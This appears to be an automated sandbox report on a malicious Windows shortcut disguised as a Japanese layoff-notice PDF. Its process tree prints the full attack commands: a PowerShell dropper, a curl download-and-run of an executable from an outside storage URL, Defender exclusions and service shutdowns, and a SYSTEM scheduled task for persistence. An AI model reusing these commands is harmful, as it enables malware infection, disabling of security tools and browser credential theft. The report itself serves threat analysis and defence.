Analysis
- max time kernel
150s - max time network
154s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 04:06
General
- Target _61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5.lnk
- Size 191KB
- Sample260417-epe7asez3m
- SHA256 61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Modifies Windows Defender notification settings 3 TTPs 4 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Executes dropped EXE 6 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 3 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\_61ad516612d11eb7ae3859a16bb741671a33a47d720b20b3d5ae63365aedaad5.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c md C:\Users\Admin\AppData\Local\Temp\vzvqljeo 2>nul&powershell -nop -w 1 -c "$n='リストラ通知書..pdf.lnk';$ds=@((gl).Path,[Environment]::GetFolderPath('Desktop'),(Join-Path $env:USERPROFILE 'Downloads'),$env:USERPROFILE,(Join-Path $env:USERPROFILE 'Documents'));$f=$null;$ds|%{$t=Join-Path $_ $n;if(!$f-and(Test-Path $t)){$f=$t}};if(!$f){gci $env:TEMP -r -fi $n -ea 0|select -f 1|%{$f=$_.FullName}};if($f){$b=[IO.File]::ReadAllBytes($f);$o=Join-Path 'C:\Users\Admin\AppData\Local\Temp\vzvqljeo' 'リストラ通知書..pdf';[IO.File]::WriteAllBytes($o,[byte[]]$b[4433..196053]);saps $o}"&set el=cu&set iz=rl.exe&call %el%%iz% -s -o C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe https://storage.googleapis.com/opentokenaiit/newgram.exe&start /b C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w 1 -c "$n='リストラ通知書..pdf.lnk';$ds=@((gl).Path,[Environment]::GetFolderPath('Desktop'),(Join-Path $env:USERPROFILE 'Downloads'),$env:USERPROFILE,(Join-Path $env:USERPROFILE 'Documents'));$f=$null;$ds|%{$t=Join-Path $_ $n;if(!$f-and(Test-Path $t)){$f=$t}};if(!$f){gci $env:TEMP -r -fi $n -ea 0|select -f 1|%{$f=$_.FullName}};if($f){$b=[IO.File]::ReadAllBytes($f);$o=Join-Path 'C:\Users\Admin\AppData\Local\Temp\vzvqljeo' 'リストラ通知書..pdf';[IO.File]::WriteAllBytes($o,[byte[]]$b[4433..196053]);saps $o}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\curl.execurl.exe -s -o C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe https://storage.googleapis.com/opentokenaiit/newgram.exe3⤵
- Downloads MZ/PE file
-
-
C:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exeC:\Users\Admin\AppData\Local\Temp\vzvqljeo\RuntimeBroker.exe3⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe"C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe"4⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender notification settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonI -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\AppNetSvc','C:\Users\Admin\AppData\Local\Temp','C:\ProgramData\Microsoft\WinDiagTrack' -Force"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c net stop WinDefend /y >nul 2>&1 & net stop wscsvc /y >nul 2>&1 & net stop Sense /y >nul 2>&15⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet stop WinDefend /y6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y7⤵
-
-
-
C:\Windows\system32\net.exenet stop wscsvc /y6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y7⤵
-
-
-
C:\Windows\system32\net.exenet stop Sense /y6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y7⤵
-
-
-
-
-
C:\Windows\System32\Wbem\mofcomp.exemofcomp.exe "C:\Users\Admin\AppData\Local\Temp\_wd.mof"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\Wbem\mofcomp.exemofcomp.exe "C:\Users\Admin\AppData\Local\Temp\_ws.mof"4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn \Microsoft\Windows\WindowsUpdate\AutoUpdate /tr C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe /sc ONLOGON /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exeC:\Users\Admin\AppData\Local\AppNetSvc\usoclient64.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\ProgramData\Microsoft\WinDiagTrack\usoclient64.exeC:\ProgramData\Microsoft\WinDiagTrack\usoclient64.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\ProgramData\Microsoft\WinDiagTrack\SysProfileSvc.exeC:\ProgramData\Microsoft\WinDiagTrack\SysProfileSvc.exe1⤵
- Executes dropped EXE
-
C:\ProgramData\Microsoft\WinDiagTrack\DevCfgCC.sysC:\ProgramData\Microsoft\WinDiagTrack\DevCfgCC.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify Tools
2Modify Registry
3Virtualization/Sandbox Evasion
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
DevCfgCC.sys
SysProfileSvc.exe
dnssd.dll
runtime.bin
usoclient64.exe
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_q4k2zmft.bja.ps1
_wd.mof
_ws.mof
stub_debug.log
RuntimeBroker.exe
memory/2108-9-0x000001FBCB610000-0x000001FBCB620000-memory.dmp
memory/2108-13-0x000001FBE5540000-0x000001FBE5CEE000-memory.dmp
memory/2108-14-0x000001FBE54E0000-0x000001FBE54F2000-memory.dmp
memory/2108-1-0x000001FBCB610000-0x000001FBCB620000-memory.dmp
memory/2108-12-0x000001FBCB620000-0x000001FBCB62C000-memory.dmp
memory/2108-2-0x000001FBE5510000-0x000001FBE5532000-memory.dmp
memory/2108-0-0x000001FBCB610000-0x000001FBCB620000-memory.dmp
memory/3108-108-0x0000000002860000-0x000000000300E000-memory.dmp
memory/3108-99-0x0000000000E40000-0x0000000000E97000-memory.dmp
memory/3108-79-0x0000000000E40000-0x0000000000E97000-memory.dmp
memory/3392-54-0x0000019F4A0D0000-0x0000019F4A183000-memory.dmp
memory/3392-65-0x0000019F49E90000-0x0000019F49E98000-memory.dmp
memory/3392-66-0x0000019F4A3E0000-0x0000019F4A3E6000-memory.dmp
memory/3392-67-0x0000019F4A3F0000-0x0000019F4A3FA000-memory.dmp
memory/3392-69-0x0000019F30F00000-0x0000019F30F0C000-memory.dmp
memory/3392-71-0x0000019F49420000-0x0000019F49432000-memory.dmp
memory/3392-70-0x0000019F49520000-0x0000019F49CCE000-memory.dmp
memory/3392-61-0x0000019F4A400000-0x0000019F4A41A000-memory.dmp
memory/3392-60-0x0000019F49E80000-0x0000019F49E8A000-memory.dmp
memory/3392-59-0x0000019F49EA0000-0x0000019F49EBC000-memory.dmp
memory/3392-58-0x0000019F49E70000-0x0000019F49E7A000-memory.dmp
memory/3392-52-0x0000019F49E50000-0x0000019F49E6C000-memory.dmp
memory/5092-18-0x00000217A8350000-0x00000217A835C000-memory.dmp